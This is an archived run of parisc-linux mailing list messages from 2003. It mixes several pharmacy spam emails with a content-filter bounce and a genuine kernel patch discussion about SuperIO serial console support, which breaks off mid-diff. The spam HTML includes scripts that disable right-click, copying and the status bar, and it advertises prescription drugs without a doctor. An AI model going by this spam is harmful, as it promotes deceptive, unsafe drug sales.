NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="C_5..AA29F5.FE5_088_"
X-Trace: ger.gmane.org 1416623032 2801 80.91.229.3 (22 Nov 2014 02:23:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:52 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: davedavis@msn.com  Sat Dec  6 01:45:47 2003
Return-Path: <davedavis@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from 63-69-214-250.res.evv.cable.sigecom.net
	(63-69-214-250.res.evv.cable.sigecom.net [63.69.214.250])
	by dsl2.external.hp.com (Postfix) with SMTP id 88BED4857
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 01:45:46 -0700 (MST)
Original-Received: from (HELO rv4nc) [254.216.146.33] by
	63-69-214-250.res.evv.cable.sigecom.net SMTP id zc7pQ1wnalBE7t;
	Sat, 06 Dec 2003 03:40:56 -0500
X-Mailer: The Bat! (v1.52f) Business
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 08:45:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20327


--C_5..AA29F5.FE5_088_
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Convenient Online Meds</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><font color=3D"#FFCC00" face=3D"verdana" size =3D"1"> SLEEP AIDS..=
 WEIGHT LOSS... WOMENS HEALTH...  MENS HEALTH... ANTI-DEPRESSANTS... SKIN=
 
  CARE...<br>ALLERGY RELIEF... ANXIETY...  LAXATIVES... SEXUAL HEALTH...  =
ENHANCEMENT...  HEARTBURN RELIEF...<br>PAIN RELIEF... QUIT SMOKING...  MUS=
CLE RELAXANTS...  MIGRAINE RELIEF...  ANTI FUNGAL...</font> <h4><font colo=
r=3D"#FFFFFF" face=3D"verdana">Hectic Lifestyle?<br> Not enough hours in t=
he day ?<br>Need quality meds without the hassles?<br><br><font color=3D"#=
FFCC00" face=3D"verdana" size=3D"4">Don't waste your time and money at a d=
octors office<br>Choose from 100's of the Very Best Meds<br> Pills and Pre=
scriptions</font><br><br>Our On-Line pharmacy and doctors<br>will save you=
 hours of valuable time<br>while saving you a great deal of money and aggr=
avation !</font></h4><h4><font color=3D"#FFFFFF" face=3D"verdana">You can =
do it all in 10 minutes<br>We ship overnight... right to your door !<br> S=
o you can enjoy your<br><H1> LIFE !</H1></font></h4><font color=3D"#00ff00=
" face=3D"verdana"><H3><a href=3D"http://www.verybestmeds.com">This way fo=
r the Very Best Meds</a></h3><br><br> 
</font></center> 
 </body></html>
 qi gry  kzd
 dbn
gehy odabebaovav txr qx kvsi

--C_5..AA29F5.FE5_088_--



From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: pdvirus1@presse-data.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Sicherheitshinweis: Mail mit Scriptinhalt wurde
	abgelehnt. Mails containing scripts are not allowed. (No JS or VBS)
Date: Sat, 06 Dec 2003 09:46:13 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20031206084616.688BE503@mail.presse-data.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_1070700373_B78506032.R82506026"
X-Trace: ger.gmane.org 1416623033 2813 80.91.229.3 (22 Nov 2014 02:23:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:53 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: pdvirus1@presse-data.de  Sat Dec  6 01:46:18 2003
Return-Path: <pdvirus1@presse-data.de>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pdvirus1.presse-data.de (mail.presse-data.de [149.221.250.67])
	by dsl2.external.hp.com (Postfix) with SMTP id 7814D48C1
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 01:46:17 -0700 (MST)
Original-Received: from pdvirus1.presse-data.de (pdvirus1.rz.rbpd-dus.de
	[149.221.250.67])
	by mail.presse-data.de (Postfix) with SMTP id 688BE503
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 09:46:16 +0100 (MET)
InterScan-Notification: yes
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 08:46:18 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20328

This is a multi-part message in MIME format.

------=_NextPart_000_1070700373_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

************* eManager Notification **************

Bitte haben Sie Verstaendnis dafuer, dass unsere Sicherheitspolitik kein HTML Script in Emails erlaubt. Recipient, Content filter has detected HTML script e-mail.

Source mailbox: "parisc-linux-bounces@lists.parisc-linux.org"
Destination mailbox(es): "parisc-linux@parisc-linux.org"

******************* End of message *******************

------=_NextPart_000_1070700373_B78506032.R82506026
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id E89B248BF; Sat,  6 Dec 2003 01:46:00 -0700 (MST)
Delivered-To: parisc-linux@parisc-linux.org
Received: from 63-69-214-250.res.evv.cable.sigecom.net
	(63-69-214-250.res.evv.cable.sigecom.net [63.69.214.250])
	by dsl2.external.hp.com (Postfix) with SMTP id 88BED4857
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 01:45:46 -0700 (MST)
Received: from (HELO rv4nc) [254.216.146.33] by
	63-69-214-250.res.evv.cable.sigecom.net SMTP id zc7pQ1wnalBE7t;
	Sat, 06 Dec 2003 03:40:56 -0500
Message-ID: <5fjf7i-nd-8$$bvng-43r$3@o8t.ym>
From: "Sherman Jacobson" <davedavis@msn.com>
To: parisc-linux@parisc-linux.org
Date: Sat, 06 Dec 03 03:40:56 GMT
X-Mailer: The Bat! (v1.52f) Business
MIME-Version: 1.0
X-Priority: 3
X-MSMail-Priority: Normal
Cc: 
Subject: [parisc-linux] perscriptions overnight  omlg
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
Reply-To: Sherman Jacobson <davedavis@msn.com>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Content-Type: multipart/mixed; boundary="===============1948341235=="
Mime-version: 1.0
Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org

------=_NextPart_000_1070700373_B78506032.R82506026--


From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Dan Hinkle" <hinkle_pm@cddhcu.gob.mx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] get it up
Date: Sat, 06 Dec 2003 15:15:26 +0500
Lines: 37
Approved: news@gmane.org
Message-ID: <20031206101838.496104857@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_051F_525BB4E5.54822FC1"
X-Trace: ger.gmane.org 1416623033 2826 80.91.229.3 (22 Nov 2014 02:23:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: hinkle_pm@cddhcu.gob.mx  Sat Dec  6 03:18:38 2003
Return-Path: <hinkle_pm@cddhcu.gob.mx>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from slave.co.uk (2492160hfc243.tampabay.rr.com [24.92.160.243])
	by dsl2.external.hp.com (Postfix) with ESMTP id 496104857
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 03:18:38 -0700 (MST)
Original-Received: from 133.198.99.250 by smtp.cddhcu.gob.mx;
	Sat, 06 Dec 2003 10:15:47 +0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 10:18:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20329

This is a multi-part message in MIME format.

------=_NextPart_000_051F_525BB4E5.54822FC1
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 8bit




------=_NextPart_000_051F_525BB4E5.54822FC1
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: 8bit

<html>	
	
 
 <body BGCOLOR=#ffffff><p align="center"><font face="arial">
<a href="http://www.10cialagenius.biz/default51.htm">
<img src="http://38.113.196.51/c1.jpg" border=0></a></font>
<br>found UK impact Service numbered Stephen environment. or UK covering Official
fact Majesty". principal aid Documents "Green" Departmental may Official
their impact emerging Instruments public emerging range "White" There environment.

</p>
   
</body>	
		
 
</HTML>
	


------=_NextPart_000_051F_525BB4E5.54822FC1--



From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Kayla Carmichael" <davedavis@msn.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] save,, money on your meds cujnkc c
Date: Sat, 06 Dec 03 15:14:04 GMT
Lines: 131
Approved: news@gmane.org
Message-ID: <k-igpp4$$i86w$x$3l0nf@had8w.1.6y2>
Reply-To: Kayla Carmichael <davedavis@msn.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="88C14EB6.0_AD673_D"
X-Trace: ger.gmane.org 1416623033 2837 80.91.229.3 (22 Nov 2014 02:23:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: davedavis@msn.com  Sat Dec  6 05:19:55 2003
Return-Path: <davedavis@msn.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cs24160103-8.houston.rr.com (cs24160103-8.houston.rr.com
	[24.160.103.8])
	by dsl2.external.hp.com (Postfix) with SMTP id 531B348C2
	for <parisc-linux@parisc-linux.org>;
	Sat,  6 Dec 2003 05:19:54 -0700 (MST)
Original-Received: from [205.104.17.125] by cs24160103-8.houston.rr.com with SMTP;
	Sat, 06 Dec 2003 15:14:04 +0300
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 06 Dec 2003 12:19:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20330


--88C14EB6.0_AD673_D
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<html>
<head>
<title>Convenient Online Meds</title>
<meta http-equiv=3D"Content-Type" content=3D"text/html; charset=3Diso-8859=
-1">
<script>
//Block Right Clicking - by Blackbox Hosting
//Credit must stay intact for use

var isNS =3D (navigator.appName =3D=3D "Netscape") ? 1 : 0;
var EnableRightClick =3D 0;
if(isNS) 
document.captureEvents(Event.MOUSEDOWN||Event.MOUSEUP);
function mischandler(){
  if(EnableRightClick=3D=3D1){ return true; }
  else {return false; }
}
function mousehandler(e){
  if(EnableRightClick=3D=3D1){ return true; }
  var myevent =3D (isNS) ? e : event;
  var eventbutton =3D (isNS) ? myevent.which : myevent.button;
  if((eventbutton=3D=3D2)||(eventbutton=3D=3D3)) return false;
}
function keyhandler(e) {
  var myevent =3D (isNS) ? e : window.event;
  if (myevent.keyCode=3D=3D96)
    EnableRightClick =3D 1;
  return;
}
document.oncontextmenu =3D mischandler;
document.onkeypress =3D keyhandler;
document.onmousedown =3D mousehandler;
document.onmouseup =3D mousehandler;

</script>
<script>
//Block Select-Copy-Paste from Webpage - by Blackbox Hosting
//Credit must stay intact for use

function disabletext(e){
return false
}

function reEnable(){
return true
}

//if the browser is IE4+
document.onselectstart=3Dnew Function ("return false")

//if the browser is NS6
if (window.sidebar){
document.onmousedown=3Ddisabletext
document.onclick=3DreEnable
}

</script>
<script>
//Blocks Shift+Click on Links - by Blackbox Hosting
//Credit must stay intact for use

function mouseDown(e) {
 var shiftPressed=3D0;
 if (parseInt(navigator.appVersion)>3) {
  if (navigator.appName=3D=3D"Netscape")
       shiftPressed=3D(e.modifiers-0>3);
  else shiftPressed=3Devent.shiftKey;
  if (shiftPressed) {
   alert ('Shift-click is disabled.')
   return false;
  }
 }
 return true;
}
if (parseInt(navigator.appVersion)>3) {
 document.onmousedown =3D mouseDown;
 if (navigator.appName=3D=3D"Netscape") 
  document.captureEvents(Event.MOUSEDOWN);
}
</script>
<script>
//Hide status bar script - by Blackbox Hosting
//Credit must stay intact for use

function hidestatus(){
window.status=3D''
return true
}

if (document.layers)
document.captureEvents(Event.MOUSEOVER | Event.MOUSEOUT)

document.onmouseover=3Dhidestatus
document.onmouseout=3Dhidestatus
</script>
</head>

<body bgcolor=3D"#000000" text=3D"#000000" link=3D"#00FF00" vlink=3D"#00FF=
00" alink=3D"#00FF00">
<center><font color=3D"#FFCC00" face=3D"verdana" size =3D"1"> SLEEP AIDS..=
 WEIGHT LOSS... WOMENS HEALTH...  MENS HEALTH... ANTI-DEPRESSANTS... SKIN=
 
  CARE...<br>ALLERGY RELIEF... ANXIETY...  LAXATIVES... SEXUAL HEALTH...  =
ENHANCEMENT...  HEARTBURN RELIEF...<br>PAIN RELIEF... QUIT SMOKING...  MUS=
CLE RELAXANTS...  MIGRAINE RELIEF...  ANTI FUNGAL...</font> <h4><font colo=
r=3D"#FFFFFF" face=3D"verdana">Hectic Lifestyle?<br> Not enough hours in t=
he day ?<br>Need quality meds without the hassles?<br><br><font color=3D"#=
FFCC00" face=3D"verdana" size=3D"4">Don't waste your time and money at a d=
octors office<br>Choose from 100's of the Very Best Meds<br> Pills and Pre=
scriptions</font><br><br>Our On-Line pharmacy and doctors<br>will save you=
 hours of valuable time<br>while saving you a great deal of money and aggr=
avation !</font></h4><h4><font color=3D"#FFFFFF" face=3D"verdana">You can =
do it all in 10 minutes<br>We ship overnight... right to your door !<br> S=
o you can enjoy your<br><H1> LIFE !</H1></font></h4><font color=3D"#00ff00=
" face=3D"verdana"><H3><a href=3D"http://www.verybestmeds.com">This way fo=
r the Very Best Meds</a></h3><br><br> 
</font></center> 
 </body></html>
 jcyweyct hbmo jnfr
rri tytsu ltdlnkpnl czm sw mw khtdkduvyx
k s
nvvopraggu

--88C14EB6.0_AD673_D--



From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] Get superio serial to work with 2.6
Date: Sat, 6 Dec 2003 20:10:18 -0800
Lines: 112
Approved: news@gmane.org
Message-ID: <20031207041018.GN20133@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623034 3103 80.91.229.3 (22 Nov 2014 02:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:54 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: randolph@tausq.org  Sat Dec  6 21:07:28 2003
Return-Path: <randolph@tausq.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A0AD484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  6 Dec 2003 21:07:28 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 14540CD33B; Sat,  6 Dec 2003 20:10:18 -0800 (PST)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Dec 2003 04:07:28 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20331

This patch is needed to get serial console to work on SuckyIO based
systems on 2.6. It was mostly done by Grant (and willy, I think)

Unfortunately it requires disabling some bits of code in inventory. What
do you guys think?

Can someone try this on a suckyio system that has USB running?

randolph


Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/inventory.c,v
retrieving revision 1.2
diff -u -p -r1.2 inventory.c
--- arch/parisc/kernel/inventory.c	14 Sep 2003 06:37:40 -0000	1.2
+++ arch/parisc/kernel/inventory.c	7 Dec 2003 03:58:22 -0000
@@ -532,7 +532,12 @@ static void __init system_map_inventory(
 	 * Otherwise the machine might crash during iommu setup.
 	 */
 	pdc_io_reset();
-	pdc_io_reset_devices();
+
+	/*
+	 * Unfortunately if we reset devices here, serial console
+	 * stops working :-(
+	 */
+	/* pdc_io_reset_devices(); */
 #endif
 
 	for (i = 0; status != PDC_BAD_PROC && status != PDC_NE_MOD; i++) {
Index: drivers/parisc/superio.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/superio.c,v
retrieving revision 1.3
diff -u -p -r1.3 superio.c
--- drivers/parisc/superio.c	28 Sep 2003 21:04:34 -0000	1.3
+++ drivers/parisc/superio.c	7 Dec 2003 03:58:22 -0000
@@ -65,7 +65,9 @@
 #include <linux/ioport.h>
 #include <linux/parport.h>
 #include <linux/parport_pc.h>
-#include <linux/serial_reg.h>
+#include <linux/termios.h>
+#include <linux/tty.h>
+#include <linux/serial_core.h>
 #include <asm/io.h>
 #include <asm/hardware.h>
 #include <asm/irq.h>
@@ -387,11 +389,27 @@ int superio_fixup_irq(struct pci_dev *pc
 	return(sio_dev.irq_region->data.irqbase + local_irq);
 }
 
+static struct uart_port serial[] = {
+	{
+		.iotype		= UPIO_PORT,
+		.line		= 0,
+		.type		= PORT_16550A,
+		.uartclk	= 115200*16,
+		.fifosize	= 16,
+	},
+	{
+		.iotype		= UPIO_PORT,
+		.line		= 1,
+		.type		= PORT_16550A,
+		.uartclk	= 115200*16,
+		.fifosize	= 16,
+	}
+};
+
 void __devinit
 superio_serial_init(void)
 {
 #ifdef CONFIG_SERIAL_8250
-	struct serial_struct *serial;
 	int retval;
 	
 	if (!sio_dev.irq_region)
@@ -400,47 +418,15 @@ superio_serial_init(void)
 	if (!sio_dev.iosapic_irq_enabled)
 		superio_init(&sio_dev);
 
-	serial = kmalloc(2 * sizeof (struct serial_struct), GFP_KERNEL);
-
-	if (!serial) {
-		printk(KERN_WARNING "SuperIO: Could not get memory for serial struct.\n");
-		return;
-	}
-
-	memset(serial, 0, 2 * sizeof (struct serial_struct));
-
-	serial->type = PORT_16550A;
-	serial->line = 0;
-	serial->port = sio_dev.sp1_base;
-	serial->port_high = 0;
-	serial->irq = sio_dev.irq_region->data.irqbase + SP1_IRQ;
-	serial->io_type = SERIAL_IO_PORT;
-	serial->flags = 0;
-	serial->xmit_fifo_size = 16;
-	serial->custom_divisor = 0;
-	serial->baud_base = 115200;
+	serial[0].iobase = sio_dev.sp1_base;
+	retval = early_serial_setup(&serial[0]);
 
-	retval = register_serial(serial);
-	if (retval < 0) {
+	if (retval < 0)
 		printk(KERN_WARNING "SuperIO: Register Serial #0 failed.\n");
-		kfree (serial);
-		return;
-	}

From - Thu Nov 08 21:30:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [patch] Get superio serial to work with 2.6
Date: Sun, 7 Dec 2003 01:20:06 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <20031207082006.GA8167@colo.lackof.org>
References: <20031207041018.GN20133@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623034 3112 80.91.229.3 (22 Nov 2014 02:23:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:23:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <randolph@tausq.org>
Original-X-From: grundler@lackof.org  Sun Dec  7 01:20:07 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id C0416484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  7 Dec 2003 01:20:07 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 1BA92298047; Sun,  7 Dec 2003 01:20:07 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 08025-04; Sun, 7 Dec 2003 01:20:06 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 64CC7298046; Sun,  7 Dec 2003 01:20:06 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20031207041018.GN20133@tausq.org>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 07 Dec 2003 08:20:08 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20332

On Sat, Dec 06, 2003 at 08:10:18PM -0800, Randolph Chung wrote:
> This patch is needed to get serial console to work on SuckyIO based
> systems on 2.6. It was mostly done by Grant (and willy, I think)
> 
> Unfortunately it requires disabling some bits of code in inventory. What
> do you guys think?

My preference right now is to move those PDC calls into sba_cdio.c.
Then add hueristics that call PDC_IO_RESET_AND_CLEAR if suckyio/USB
is active or the LAN active. If suckyio serial console, then add code
to save/restore suckyio config space around the reset.

So quite a bit of hackery that's really only needed when the
IO MMU is actually used.

> Can someone try this on a suckyio system that has USB running?

hrm...I don't have the serial console setup at the moment.
I suggest plugging in a USB mouse and moving the mouse around
during boot. Not sure that's sufficient but maybe.

The USB/DMA problem occurs when booting with USB Keyboard/mouse
and not a serial console. Ie, until 2.6.0 boots with STICON
enabled, I can't really test the USB/DMA stuff.

grant


From - Thu Nov 08 21:30:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
